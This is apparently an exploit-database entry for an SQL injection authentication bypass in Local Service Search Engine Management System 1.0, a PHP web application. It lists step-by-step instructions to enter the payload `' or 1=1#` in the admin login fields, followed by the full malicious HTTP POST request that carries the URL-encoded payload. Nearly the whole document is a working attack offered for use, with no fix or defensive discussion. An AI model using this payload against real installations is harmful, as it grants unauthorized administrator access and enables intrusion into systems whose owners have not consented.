Local Service Search Engine Management System 1.0 SQL Injection

`# Exploit Title: Local Service Search Engine Management System 1.0 - SQLi Authentication Bypass  
# Date: 21/11/2020  
# Exploit Author: Aditya Wakhlu  
# Vendor Homepage: https://www.sourcecodester.com/php/14607/local-service-search-engine-management-system-using-phpmysqli-source-code.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/lssems.zip  
# Version: 1.0  
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4  
  
Step 1: Open the URL http://localhost:8080/lssems/admin/login.php  
Step 2: use payload Aditya' or 1=1# in user and password field  
  
Malicious Request:::  
  
POST /lssems/admin/ajax.php?action=login HTTP/1.1  
Host: localhost:8080  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 49  
Origin: http://localhost:8080  
Connection: close  
Referer: http://localhost:8080/lssems/admin/login.php  
Cookie: PHPSESSID=mpqu31slfcd7fjc89gm9veb1o3  
  
username=Aditya'+or+1%3D1%23&password=Aditya'+or+1%3D1%23  
`